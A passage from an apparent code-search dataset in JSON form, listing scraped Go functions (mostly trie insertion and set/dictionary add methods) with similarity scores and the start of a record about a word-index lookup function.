{\\n\\t\\t\\tnode = node.addChild(letters[i])\\n\\t\\t}\\n\\n\\t\\ti++\\n\\n\\t\\tif i == n {\\n\\t\\t\\tnode.isLeaf = true\\n\\t\\t}\\n\\t}\\n\\n\\treturn node\\n}\",\n \"func (service *SynonymService) AddSynonym(word vm.Word, synonym vm.Word) (*[]vm.Word, int) {\\n\\n\\t// Lock map for cocurent access , and unlock it after operation is complete\\n\\tservice.mu.Lock()\\n\\tdefer service.mu.Unlock()\\n\\n\\t// Check if synonym already exists\\n\\tif _, ok := service.Synonyms[synonym.Word]; ok {\\n\\t\\treturn nil, status.ErrorSynonymAllreadyEsists\\n\\t}\\n\\n\\t// Check if the word already exists\\n\\tif val, ok := service.Synonyms[word.Word]; ok {\\n\\n\\t\\t*val = append(*val, synonym)\\n\\t\\tservice.Synonyms[synonym.Word] = val\\n\\t\\treturn val, 0\\n\\n\\t}\\n\\n\\treturn nil, status.ErrorWordDoesNotExist\\n\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tcurr := this\\n\\tfor _, c := range word {\\n\\t\\tif curr.next[c-'a'] == nil {\\n\\t\\t\\tcurr.next[c-'a'] = &Trie{}\\n\\t\\t}\\n\\t\\tcurr = curr.next[c-'a']\\n\\t}\\n\\tcurr.isWord = true\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tfor i := 0; i < len(word); i++ {\\n\\t\\tif this.son[word[i]-'a'] == nil {\\n\\t\\t\\tthis.son[word[i]-'a'] = &Trie{word[i] - 'a', false, [26]*Trie{}}\\n\\t\\t}\\n\\t\\tthis = this.son[word[i]-'a']\\n\\t}\\n\\tthis.isWord = true\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\n}\",\n \"func (s stringSet) add(ss string) {\\n\\ts[ss] = struct{}{}\\n}\",\n \"func (store *KVStore) add(key string, val []byte, isOrigin bool) {\\n\\tstore.ht[key] = val\\n\\tstore.isOrigin[key] = isOrigin\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tif word == \\\"\\\" {\\n\\t\\treturn\\n\\t}\\n\\tindex := ([]byte(word[0:1]))[0] - byte('a')\\n\\tif this.child[index] == nil {\\n\\t\\tthis.child[index] = &Trie{\\n\\t\\t\\twd: false,\\n\\t\\t}\\n\\t}\\n\\n\\tif word[1:] == \\\"\\\" {\\n\\t\\tthis.child[index].wd = true\\n\\t\\treturn\\n\\t} else {\\n\\t\\tthis.child[index].Insert(word[1:])\\n\\t}\\n\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tnode := this\\n\\tfor _, v := range word {\\n\\t\\tv = v - 'a'\\n\\t\\tif node.next[v] == nil {\\n\\t\\t\\tnode.next[v] = &Trie{}\\n\\t\\t}\\n\\t\\tnode = node.next[v]\\n\\t}\\n\\tnode.isEnd = true\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tbytes := []byte(word)\\n\\tif len(bytes) <= 0 {\\n\\t\\treturn\\n\\t}\\n\\tfor key, value := range bytes {\\n\\t\\t//如果数据存在\\n\\t\\tif _, ok := this.nexts[value]; !ok {\\n\\t\\t\\t//如果数据不存在,创建\\n\\t\\t\\tthis.nexts[value] = &Trie{\\n\\t\\t\\t\\tnexts: make(map[byte]*Trie),\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif key == len(bytes) - 1 {\\n\\t\\t\\tthis.nexts[value].isEnd = true\\n\\t\\t}\\n\\t\\tthis = this.nexts[value]\\n\\t}\\n}\",\n \"func add(i string) error {\\n\\treturn nil\\n}\",\n \"func (fm *ForthMachine) Add(w Word) (err error) {\\n\\treturn fm.d.Add(w)\\n}\",\n \"func (t *Tokeniser) put(b byte) {\\n\\tt.inWord = true\\n\\tt.word = append(t.word, b)\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tcur := this.root\\n\\n\\t// go through word\\n\\tfor _, c := range word {\\n\\t\\t// check if not already in children\\n\\t\\tif _, ok := cur.children[c]; !ok {\\n\\t\\t\\t// create\\n\\t\\t\\tcur.children[c] = &TrieNode{map[rune]*TrieNode{}, false}\\n\\t\\t}\\n\\t\\t// set next\\n\\t\\tcur = cur.children[c]\\n\\t}\\n\\n\\t// mark as end of word\\n\\tcur.isEnd = true\\n}\",\n \"func (this *Trie) Insert(word string) {\\n if len(word) == 0 {return}\\n if this.path == nil {\\n this.path = make([]*Trie, 26)\\n }\\n if this.path[word[0] - 'a'] == nil {\\n this.path[word[0]-'a'] = &Trie{}\\n this.path[word[0]- 'a'].end = len(word) == 1\\n } else {\\n if !this.path[word[0]- 'a'].end {\\n this.path[word[0]- 'a'].end = len(word) == 1\\n }\\n }\\n this = this.path[word[0]-'a']\\n this.Insert(word[1:])\\n}\",\n \"func (m *store) Insert(w ukjent.Word) error {\\n\\tgot, err := m.get(w.Word)\\n\\tif err == nil {\\n\\t\\treturn base.TranslationExists(got.Word, got.Translation)\\n\\t}\\n\\n\\tdefer m.withWrite()()\\n\\tm.data[w.Word] = entry{w.Translation, w.Note}\\n\\treturn nil\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tcur := this.Root\\n\\tfor _, c := range word {\\n\\t\\tif _, ok := cur.Child[c]; !ok {\\n\\t\\t\\tcur.Child[c] = &Node{\\n\\t\\t\\t\\tChild: map[rune]*Node{},\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tcur = cur.Child[c]\\n\\t}\\n\\tcur.Value = true\\n}\",\n \"func (this *Trie) Insert(word string) {\\n for _,v := range word{\\n if this.name[v-'a'] == nil{\\n this.name[v-'a'] = new(Trie)\\n fmt.Println(this.name)\\n }\\n this = this.name[v-'a']\\n \\n }\\n \\n this.isWord = true\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tcur := this.root\\n\\tfor _, v := range []byte(word) {\\n\\t\\tif cur.children[v-'a'] == nil {\\n\\t\\t\\tcur.children[v-'a'] = &TrieNode{children: make([]*TrieNode, 26)}\\n\\t\\t}\\n\\t\\tcur = cur.children[v-'a']\\n\\t}\\n\\tcur.word = word\\n}\",\n \"func (trie *Trie) Insert(word string) {\\n\\tnodeObj, foundFunc := trie.FindNode(word)\\n\\t// case: node already exists & is a terminal\\n\\tif foundFunc {\\n\\t\\tif nodeObj.Terminal {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t}\\n\\n\\tnodeObj = trie.Root\\n\\tfor _, char := range word {\\n\\t\\t_, found := nodeObj.Children[string(char)]\\n\\n\\t\\t// case: if the letter does not exist as a child from current node\\n\\t\\tif !found {\\n\\t\\t\\tnewChildNode := node.NewNode(string(char))\\n\\t\\t\\tnodeObj.AddChildren(string(char), newChildNode)\\n\\t\\t\\t// traverse tree\\n\\t\\t}\\n\\t\\tnodeObj = nodeObj.Children[string(char)]\\n\\n\\t}\\n\\n\\t// set node terminal to true at the end of word iteration\\n\\tnodeObj.Terminal = true\\n\\n\\ttrie.Size++\\n}\",\n \"func (s Set) Add(st string) {\\n\\tif _, ok := s[st]; !ok {\\n\\t\\ts[st] = true\\n\\t}\\n}\",\n \"func (s *Store) add(id string, e Entry) (err error) {\\n\\tutils.Assert(!utils.IsSet(e.ID()) || id == e.ID(), \\\"ID must not be set here\\\")\\n\\tif _, exists := (*s)[id]; exists {\\n\\t\\treturn fmt.Errorf(\\\"Found multiple parameter definitions with id '%v'\\\", id)\\n\\t}\\n\\n\\tif !utils.IsSet(e.ID()) {\\n\\t\\te.setID(id)\\n\\t}\\n\\t(*s)[id] = e\\n\\treturn nil\\n}\",\n \"func (t *Trie) Insert(word string) {\\n\\tif t.Search(word) {\\n\\t\\treturn\\n\\t}\\n\\n\\troot := t.Root\\n\\tfor _, r := range word {\\n\\t\\tif n, ok := hasChild(r, root.Children); ok {\\n\\t\\t\\troot = n\\n\\t\\t} else {\\n\\t\\t\\tnewNode := &Node{r, nil}\\n\\t\\t\\troot.Children = append(root.Children, newNode)\\n\\t\\t\\troot = newNode\\n\\t\\t}\\n\\t}\\n\\tleaf := &Node{'*', nil}\\n\\troot.Children = append(root.Children, leaf)\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\n\\tcur := this\\n\\tfor i := 0; i < len(word); i++ {\\n\\t\\tb := word[i]\\n\\t\\tif cur.next[b-97] == nil {\\n\\t\\t\\tcur.next[b-97] = new(Trie)\\n\\t\\t}\\n\\t\\tcur = cur.next[b-97]\\n\\t}\\n\\tcur.isEnd = true\\n}\",\n \"func (trie *Trie) addMovie(s string, id int) {\\n\\ts = strings.ToLower(s)\\n\\n\\tres := strings.Fields(s)\\n\\n\\tstrings.ToLower(s)\\n\\n\\tif trie.root == nil {\\n\\t\\ttmp := new(TNode)\\n\\t\\ttmp.isword = false\\n\\t\\ttmp.cnodes = make(map[string]*TNode)\\n\\t\\ttrie.root = tmp\\n\\t}\\n\\n\\tfor i := range res {\\n\\t\\ttrie.root.addString(res[i], id)\\n\\t}\\n}\",\n \"func (t *Trie) Insert(word string) {\\n\\tp := t.root\\n\\twordArr := []rune(word)\\n\\tvar i int\\n\\n\\tfor i = 0; i < len(wordArr); i++ {\\n\\t\\tif p.edges[wordArr[i]-'a'] == nil {\\n\\t\\t\\tbreak\\n\\t\\t} else {\\n\\t\\t\\tp = p.edges[wordArr[i]-'a']\\n\\t\\t}\\n\\t}\\n\\n\\tfor ; i < len(wordArr); i++ {\\n\\t\\tp.edges[wordArr[i]-'a'] = &TrieNode{}\\n\\t\\tp = p.edges[wordArr[i]-'a']\\n\\t}\\n\\tp.isWord = true\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tnode := this\\n\\n\\tfor _, char := range word {\\n\\t\\tchar -= 'a'\\n\\t\\tif node.children[char] == nil {\\n\\t\\t\\tnode.children[char] = &Trie{}\\n\\t\\t}\\n\\t\\tnode = node.children[char]\\n\\t}\\n\\n\\tnode.isEnd = true\\n}\",\n \"func (index *ind) add(value string) {\\n\\tvar halfhash string\\n\\n\\tif len(value) <= hashKeySize {\\n\\t\\thalfhash = value\\n\\t} else {\\n\\t\\thalfhash = value[:hashKeySize]\\n\\t}\\n\\n\\tindex.Storage[halfhash] = append(index.Storage[halfhash], value)\\n}\",\n \"func (t *Trie) Insert(word string) {\\n\\ttmp := t\\n\\tfor _, c := range word {\\n\\t\\tif _, val := tmp.links[string(c)]; !val {\\n\\t\\t\\tnt := Constructor()\\n\\t\\t\\ttmp.links[string(c)] = &nt\\n\\t\\t}\\n\\t\\ttmp = tmp.links[string(c)]\\n\\t}\\n\\ttmp.isEnd = true\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tnode := this\\n\\tfor i := 0; i <= len(word); i++ {\\n\\t\\tif i == len(word) {\\n\\t\\t\\tnode.endOfWord = true\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tidx := word[i] - 'a'\\n\\t\\tif node.children[idx] == nil {\\n\\t\\t\\tnode.children[idx] = &Trie{}\\n\\t\\t}\\n\\t\\tnode = node.children[idx]\\n\\t}\\n}\",\n \"func (t *Trie) Insert(word string) {\\n\\tcur := t.Root\\n\\tfor _, c := range word {\\n\\t\\tfmt.Print(c)\\n\\t\\t_, ok := cur.Next[c]\\n\\t\\tif !ok {\\n\\t\\t\\tcur.Next[c] = &Node{\\n\\t\\t\\t\\tNext: make(map[rune] *Node),\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tcur = cur.Next[c]\\n\\t}\\n\\n\\tif !cur.IsWord {\\n\\t\\tcur.IsWord = true\\n\\t}\\n\\n}\",\n \"func Add(key string, lang map[string]string) {\\n\\tLang[key] = lang\\n}\",\n \"func (t *Trie) Insert(word string) {\\n\\tcurr := t.Root\\n\\tfor _, char := range word {\\n\\t\\tif _, ok := curr.Children[char]; !ok {\\n\\t\\t\\tcurr.Children[char] = &TrieNode{}\\n\\t\\t}\\n\\t\\tcurr = curr.Children[char]\\n\\t}\\n\\tcurr.IsLeaf = true\\n}\",\n \"func (t *Trie) Insert(word string) {\\n\\twordLength := len(word)\\n\\tcurrent := t.root\\n\\tfor i := 0; i < wordLength; i++ {\\n\\t\\tindex := word[i] - 'a'\\n\\t\\tif current.children[index] == nil {\\n\\t\\t\\tcurrent.children[index] = &TrieNode{}\\n\\t\\t}\\n\\t\\tcurrent = current.children[index]\\n\\t}\\n\\tcurrent.isWordEnd = true\\n}\",\n \"func (this *WordsFrequency) Insert(word string) {\\n\\ttemp := this\\n\\tfor _, v := range word {\\n\\t\\tnxt := v - 'a'\\n\\t\\tif temp.next[nxt] == nil {\\n\\t\\t\\ttemp.next[nxt] = &WordsFrequency{}\\n\\t\\t}\\n\\t\\ttemp = temp.next[nxt]\\n\\t}\\n\\ttemp.ending += 1\\n}\",\n \"func (s String) Add(item string) {\\n\\ts[item] = DummyValue\\n}\",\n \"func (r *MongoRepository) add(definition *Definition) error {\\n\\tsession, coll := r.getSession()\\n\\tdefer session.Close()\\n\\n\\tisValid, err := definition.Validate()\\n\\tif false == isValid && err != nil {\\n\\t\\tlog.WithError(err).Error(\\\"Validation errors\\\")\\n\\t\\treturn err\\n\\t}\\n\\n\\t_, err = coll.Upsert(bson.M{\\\"name\\\": definition.Name}, definition)\\n\\tif err != nil {\\n\\t\\tlog.WithField(\\\"name\\\", definition.Name).Error(\\\"There was an error adding the resource\\\")\\n\\t\\treturn err\\n\\t}\\n\\n\\tlog.WithField(\\\"name\\\", definition.Name).Debug(\\\"Resource added\\\")\\n\\treturn nil\\n}\",\n \"func (p *WCSPayload) Add(key string, value string) {\\n\\tif key != \\\"\\\" && value != \\\"\\\" {\\n\\t\\tfor _, v := range validkeys {\\n\\t\\t\\tif v == key {\\n\\t\\t\\t\\tp.wcs[key] = value\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\ttrie := this\\n\\tfor _, char := range word {\\n\\t\\tisLeaf := false\\n\\t\\tif trie.childs[char-97] == nil {\\n\\t\\t\\ttrie.childs[char-97] = &Trie{isLeaf: isLeaf}\\n\\t\\t}\\n\\t\\ttrie = trie.childs[char-97]\\n\\t}\\n\\ttrie.isLeaf = true\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tn := this.root\\n\\n\\tfor i := 0; i < len(word); i++ {\\n\\t\\twid := word[i] - 'a'\\n\\t\\tif n.children[wid] == nil {\\n\\t\\t\\tn.children[wid] = &node{\\n\\t\\t\\t\\tch: word[i : i+1],\\n\\t\\t\\t\\tchildren: [26]*node{},\\n\\t\\t\\t\\tisWordOfEnd: false,\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tn = n.children[wid]\\n\\t}\\n\\tn.isWordOfEnd = true\\n}\",\n \"func (t *Trie) Insert(word string) {\\n\\tnode := t\\n\\tfor _, c := range word {\\n\\t\\tchar := c - 'a'\\n\\t\\tif node.chars[char] == nil {\\n\\t\\t\\tnode.chars[char] = &Trie{isEnd: false, chars: [26]*Trie{}}\\n\\t\\t}\\n\\t\\tnode = node.chars[char]\\n\\t}\\n\\tnode.isEnd = true\\n}\",\n \"func (ss *StringSet) Add(aString string) {\\n\\tif ss.Contains(aString) {\\n\\t\\treturn\\n\\t}\\n\\n\\tss.members[aString] = keyExists\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tnode := this\\n\\tn := len(word)\\n\\tfor i := 0; i < n; i++ {\\n\\t\\t// 找到对应子树\\n\\t\\tidx := word[i] - 'a'\\n\\t\\tif node.sons[idx] == nil {\\n\\t\\t\\tnode.sons[idx] = &Trie{val: word[i]}\\n\\t\\t}\\n\\t\\t// 当前节点=字典子树\\n\\t\\tnode = node.sons[idx]\\n\\t}\\n\\tnode.end++\\n}\",\n \"func (s Set) add(k string, a...Symbol) {\\n\\n\\tfor _, v := range a {\\n\\t\\tif b, _ := s.contains(k, v); !b {\\n\\t\\t\\ts[k] = append(s[k], v)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tif len(word) == 0 {\\n\\t\\tthis.end = true\\n\\t\\treturn\\n\\t}\\n\\tfor _, e := range this.edges {\\n\\t\\tif e.char == word[0] {\\n\\t\\t\\te.next.Insert(word[1:])\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\te := &edge{\\n\\t\\tchar: word[0],\\n\\t\\tnext: new(Trie),\\n\\t}\\n\\tthis.edges = append(this.edges, e)\\n\\te.next.Insert(word[1:])\\n}\",\n \"func (s *set) Add(t *Term) {\\n\\ts.insert(t)\\n}\",\n \"func (s *Set) Add(item string) {\\n\\ts.safeMap()\\n\\ts.m[item] = true\\n}\",\n \"func (s *Set) Add(key string) {\\n\\tif s.Get(key) == nil {\\n\\t\\ts.Insert(&Element{\\n\\t\\t\\tKey: key,\\n\\t\\t})\\n\\t}\\n}\",\n \"func (s *Set) Add(str string) bool {\\n\\tif s.Exist(str) {\\n\\t\\treturn false\\n\\t}\\n\\ts.m[str] = struct{}{}\\n\\treturn false\\n}\",\n \"func (s Set) Add(k string) {\\n\\tif s.Contains(k) {\\n\\t\\treturn\\n\\t}\\n\\ts.add(k)\\n}\",\n \"func (s StringSet) Add(item string) {\\n\\ts[item] = struct{}{}\\n}\",\n \"func (t *Trie) insert(letters, value string) {\\n\\tlettersRune := []rune(letters)\\n\\n\\t// loop through letters in argument word\\n\\tfor l, letter := range lettersRune {\\n\\n\\t\\tletterStr := string(letter)\\n\\n\\t\\t// if letter in children\\n\\t\\tif t.children[letterStr] != nil {\\n\\t\\t\\tt = t.children[letterStr]\\n\\t\\t} else {\\n\\t\\t\\t// not found, so add letter to children\\n\\t\\t\\tt.children[letterStr] = &Trie{map[string]*Trie{}, \\\"\\\", []string{}}\\n\\t\\t\\tt = t.children[letterStr]\\n\\t\\t}\\n\\n\\t\\tif l == len(lettersRune)-1 {\\n\\t\\t\\t// last letter, save value and exit\\n\\t\\t\\tt.values = append(t.values, value)\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n}\",\n \"func (t *Trie) Insert(word string) {\\n\\tchars := t.toChars(word)\\n\\tr := t.root\\n\\tfor i := 0; i < len(chars); i++ {\\n\\t\\tif _, ok := r.children[chars[i]]; !ok {\\n\\t\\t\\tr.children[chars[i]] = &node{\\n\\t\\t\\t\\tend: false,\\n\\t\\t\\t\\tchildren: make(map[string]*node),\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif i == len(chars)-1 {\\n\\t\\t\\tr.children[chars[i]].end = true\\n\\t\\t}\\n\\t\\tr = r.children[chars[i]]\\n\\t}\\n}\",\n \"func (h Hash) Add(in string) bool {\\n\\tif _, ok := h[in]; ok {\\n\\t\\t// already in the set\\n\\t\\treturn false\\n\\t}\\n\\t// not in the set\\n\\th[in] = struct{}{}\\n\\treturn true\\n}\",\n \"func (set StringSet) Add(e string) {\\n\\tset[e] = true\\n}\",\n \"func (c *Corpus) Add(vals ...string) bool {\\n\\tfor _, v := range vals {\\n\\t\\tif _, ok := c.words[v]; !ok {\\n\\t\\t\\tc.Size++\\n\\t\\t\\tc.words[v] = true\\n\\t\\t}\\n\\t}\\n\\treturn true\\n}\",\n \"func (g *Goi18n) add(lc *locale) bool {\\n\\tif _, ok := g.localeMap[lc.lang]; ok {\\n\\t\\treturn false\\n\\t}\\n\\n\\tg.mu.Lock()\\n\\tdefer g.mu.Unlock()\\n\\tif err := lc.Reload(g.option.Path); err != nil {\\n\\t\\treturn false\\n\\t}\\n\\tlc.id = len(g.localeMap)\\n\\tg.localeMap[lc.lang] = lc\\n\\tg.langs = append(g.langs, lc.lang)\\n\\tg.langDescs[lc.lang] = lc.langDesc\\n\\treturn true\\n}\",\n \"func (m *WordModel) AddWord(word string, freqCount float32) {\\n\\tm.builder.Add(word)\\n\\tm.frequencies = append(m.frequencies, freqCount)\\n}\",\n \"func (s StringSet) Add(x string) { s[x] = struct{}{} }\",\n \"func (a *ALU) PushWord(word uint16) {\\n\\ta.InternalRAM[a.StackPtr+1] = uint8(word)\\n\\ta.InternalRAM[a.StackPtr+2] = uint8(word >> 8)\\n\\ta.StackPtr += 2\\n}\",\n \"func (s StringSet) Add(key string) {\\n\\ts[key] = void\\n}\",\n \"func (g *wordGraph) include(word string) {\\n\\tif len(word) != g.n || !isWord(word) {\\n\\t\\treturn\\n\\t}\\n\\tword = strings.ToLower(word)\\n\\tif _, exists := g.ids[word]; exists {\\n\\t\\treturn\\n\\t}\\n\\n\\t// We know the node is not yet in the graph, so we can add it.\\n\\tu := g.UndirectedGraph.NewNode()\\n\\tuid := u.ID()\\n\\tu = node{word: word, id: uid}\\n\\tg.UndirectedGraph.AddNode(u)\\n\\tg.ids[word] = uid\\n\\n\\t// Join to all the neighbours from words we already know.\\n\\tfor _, v := range neighbours(word, g.ids) {\\n\\t\\tv := g.UndirectedGraph.Node(g.ids[v])\\n\\t\\tg.SetEdge(simple.Edge{F: u, T: v})\\n\\t}\\n}\",\n \"func (d Dictionary) Update(word, def string) error {\\n\\t_, err := d.Search(word)\\n\\n\\tswitch err {\\n\\tcase nil:\\n\\t\\td[word] = def\\n\\tcase errNotFound:\\n\\t\\treturn errCannotUpdate\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (s *Set) Add(val string) {\\n\\ts.set[val] = true\\n}\",\n \"func (s *StrSet) Add(element string) {\\n\\ts.els[element] = true\\n}\",\n \"func (tnode *TNode) addString(s string, id int) {\\n\\tcur := tnode\\n\\tif len(s) == 0 {\\n\\t\\treturn\\n\\t}\\n\\tfor _, c := range s {\\n\\t\\tif cur.cnodes[string(c)] == nil {\\n\\t\\t\\ttmp := new(TNode)\\n\\t\\t\\ttmp.isword = false\\n\\t\\t\\ttmp.cnodes = make(map[string]*TNode)\\n\\t\\t\\tcur.cnodes[string(c)] = tmp\\n\\t\\t}\\n\\t\\tcur = cur.cnodes[string(c)]\\n\\t}\\n\\n\\tcur.isword = true\\n\\tcur.ids = append(cur.ids, id)\\n}\",\n \"func (r Dictionary) Update(word string, definition string) error {\\n\\t_, err := r.Search(word)\\n\\tswitch err {\\n\\tcase ErrWordNotFound:\\n\\t\\treturn ErrKeyWordNotExist\\n\\tcase nil:\\n\\t\\tr[word] = definition\\n\\tdefault:\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.794044","0.7889532","0.7755874","0.77298373","0.7724782","0.76292384","0.74169034","0.7404009","0.72980726","0.705334","0.704343","0.6935654","0.67001647","0.6683539","0.664371","0.6512904","0.65093","0.6506092","0.6493109","0.6423295","0.6423066","0.64052886","0.63850033","0.6383607","0.63597023","0.63088363","0.63000315","0.62656105","0.6259003","0.6253268","0.62278694","0.61956996","0.61944085","0.6141669","0.6128783","0.61272657","0.6122165","0.60336787","0.59893596","0.59879017","0.5966874","0.59336877","0.5928667","0.5911123","0.589848","0.58843344","0.58825964","0.5855987","0.58289176","0.58119386","0.5795602","0.5793676","0.5778215","0.5778148","0.57481205","0.5742028","0.57309586","0.57291365","0.57254344","0.5721657","0.5718668","0.5714509","0.57027835","0.5677715","0.5659197","0.5656337","0.5656161","0.56344557","0.5627422","0.56223285","0.56192553","0.560395","0.5596434","0.5577959","0.55719167","0.5570954","0.55586004","0.5547603","0.55455285","0.5544791","0.55087876","0.5487772","0.5459327","0.5452701","0.5446361","0.5435067","0.5426088","0.54221016","0.5421705","0.5418479","0.5410652","0.54104125","0.540899","0.5407014","0.54045963","0.5388804","0.5383147","0.5372761","0.5370103","0.53665924"],"string":"[\n \"0.794044\",\n \"0.7889532\",\n \"0.7755874\",\n \"0.77298373\",\n \"0.7724782\",\n \"0.76292384\",\n \"0.74169034\",\n \"0.7404009\",\n \"0.72980726\",\n \"0.705334\",\n \"0.704343\",\n \"0.6935654\",\n \"0.67001647\",\n \"0.6683539\",\n \"0.664371\",\n \"0.6512904\",\n \"0.65093\",\n \"0.6506092\",\n \"0.6493109\",\n \"0.6423295\",\n \"0.6423066\",\n \"0.64052886\",\n \"0.63850033\",\n \"0.6383607\",\n \"0.63597023\",\n \"0.63088363\",\n \"0.63000315\",\n \"0.62656105\",\n \"0.6259003\",\n \"0.6253268\",\n \"0.62278694\",\n \"0.61956996\",\n \"0.61944085\",\n \"0.6141669\",\n \"0.6128783\",\n \"0.61272657\",\n \"0.6122165\",\n \"0.60336787\",\n \"0.59893596\",\n \"0.59879017\",\n \"0.5966874\",\n \"0.59336877\",\n \"0.5928667\",\n \"0.5911123\",\n \"0.589848\",\n \"0.58843344\",\n \"0.58825964\",\n \"0.5855987\",\n \"0.58289176\",\n \"0.58119386\",\n \"0.5795602\",\n \"0.5793676\",\n \"0.5778215\",\n \"0.5778148\",\n \"0.57481205\",\n \"0.5742028\",\n \"0.57309586\",\n \"0.57291365\",\n \"0.57254344\",\n \"0.5721657\",\n \"0.5718668\",\n \"0.5714509\",\n \"0.57027835\",\n \"0.5677715\",\n \"0.5659197\",\n \"0.5656337\",\n \"0.5656161\",\n \"0.56344557\",\n \"0.5627422\",\n \"0.56223285\",\n \"0.56192553\",\n \"0.560395\",\n \"0.5596434\",\n \"0.5577959\",\n \"0.55719167\",\n \"0.5570954\",\n \"0.55586004\",\n \"0.5547603\",\n \"0.55455285\",\n \"0.5544791\",\n \"0.55087876\",\n \"0.5487772\",\n \"0.5459327\",\n \"0.5452701\",\n \"0.5446361\",\n \"0.5435067\",\n \"0.5426088\",\n \"0.54221016\",\n \"0.5421705\",\n \"0.5418479\",\n \"0.5410652\",\n \"0.54104125\",\n \"0.540899\",\n \"0.5407014\",\n \"0.54045963\",\n \"0.5388804\",\n \"0.5383147\",\n \"0.5372761\",\n \"0.5370103\",\n \"0.53665924\"\n]"},"document_score":{"kind":"string","value":"0.7394302"},"document_rank":{"kind":"string","value":"8"}}},{"rowIdx":106196,"cells":{"query":{"kind":"string","value":"getIndex returns the index of the supplied word, or 0 if the word is not in the dictionary."},"document":{"kind":"string","value":"func (d *dictionary) getIndex(word string) tokenID {\n\tif idx, found := d.indices[word]; found {\n\t\treturn idx\n\t}\n\treturn unknownIndex\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (d *dictionary) getWord(index tokenID) string {\n\tif word, found := d.words[index]; found {\n\t\treturn word\n\t}\n\treturn unknownWord\n}","func GetHashTableIndex(word string) int {\n\tprimoRangeRX := regexp.MustCompile(\"^[a-i]{1}\")\n\tsecondoRangeRX := regexp.MustCompile(\"^[j-r]{1}\")\n\tterzoRangeRX := regexp.MustCompile(\"^[s-z]{1}\")\n\n\tswitch {\n\tcase primoRangeRX.MatchString(word):\n\t\treturn 0\n\tcase secondoRangeRX.MatchString(word):\n\t\treturn 1\n\tcase terzoRangeRX.MatchString(word):\n\t\treturn 2\n\t}\n\treturn -1\n}","func indexOf(list []string, word string) int {\n\tfor i := range list {\n\t\tif strings.EqualFold(word, list[i]) {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}","func WordAt(i int) string {\n\treturn words[i]\n}","func (d *dictionary) add(word string) tokenID {\n\tif idx := d.getIndex(word); idx != unknownIndex {\n\t\treturn idx\n\t}\n\t// token IDs start from 1, 0 is reserved for the invalid ID\n\tidx := tokenID(len(d.words) + 1)\n\td.words[idx] = word\n\td.indices[word] = idx\n\treturn idx\n}","func GetWord(lang Language, index int64) (string, error) {\n\tswitch lang {\n\tcase English:\n\t\treturn english[index], nil\n\tcase Japanese:\n\t\treturn japanese[index], nil\n\tcase Korean:\n\t\treturn korean[index], nil\n\tcase Spanish:\n\t\treturn spanish[index], nil\n\tcase ChineseSimplified:\n\t\treturn chineseSimplified[index], nil\n\tcase ChineseTraditional:\n\t\treturn chineseTraditional[index], nil\n\tcase French:\n\t\treturn french[index], nil\n\tcase Italian:\n\t\treturn italian[index], nil\n\t}\n\treturn \"\", fmt.Errorf(\"Language %s not found\", lang)\n}","func IndexizeWord(w string) string {\n\treturn strings.TrimSpace(strings.ToLower(w))\n}","func (s *Stringish) Index(str string) int {\n\treturn strings.Index(s.str, str)\n}","func (g *Game) findWord(ws []*scottpb.Word, w string) int {\n\tw = (w + \" \")[0:g.Current.Header.WordLength]\n\tfor i := 0; i < len(ws); i++ {\n\t\tif (ws[i].Word + \" \")[0:g.Current.Header.WordLength] != w {\n\t\t\tcontinue\n\t\t}\n\t\tfor j := i; j >= 0; j-- {\n\t\t\tif !ws[j].Synonym {\n\t\t\t\treturn j\n\t\t\t}\n\t\t}\n\t}\n\treturn UnknownWord\n}","func indexOf(array []string, key string) int {\n\tfor idx, val := range array {\n\t\tif val == key {\n\t\t\treturn idx\n\t\t}\n\t}\n\n\treturn -1\n}","func (g *Game) indexOf(name string) (int, int) {\n\tt := strings.ToLower(name)\n\treturn int(rune(t[0]) - 'a'), int(rune(t[1]) - '1')\n}","func indexOfString(h []string, n string) int {\n\tfor i, v := range h {\n\t\tif v == n {\n\t\t\treturn i\n\t\t}\n\t}\n\n\treturn -1\n}","func (d Dictionary) Search(word string) (string, error) {\n\tdefinition, ok := d[word]\n\n\tif !ok {\n\t\treturn \"\", ErrNotFound\n\t}\n\treturn definition, nil\n}","func (d Dictionary) Search(word string) (string, error) {\n\tvalue, exists := d[word]\n\tif exists {\n\t\treturn value, nil\n\t}\n\n\treturn \"\", errNotFound\n}","func (d Dictionary) Search(word string) (string, error) {\n\tvalue, ok := d[word]\n\n\tif ok {\n\t\treturn value, nil\n\t}\n\n\treturn word, errNotFound\n}","func GetOddWord(ind int) string {\n\tif ind < 0 || ind >= len(WordList) {\n\t\tpanic(\"index is out of bounds for word list\")\n\t}\n\n\treturn WordList[ind][1]\n}","func (hm *HashMap) getIndex(key string) uint64 {\n\thasher := 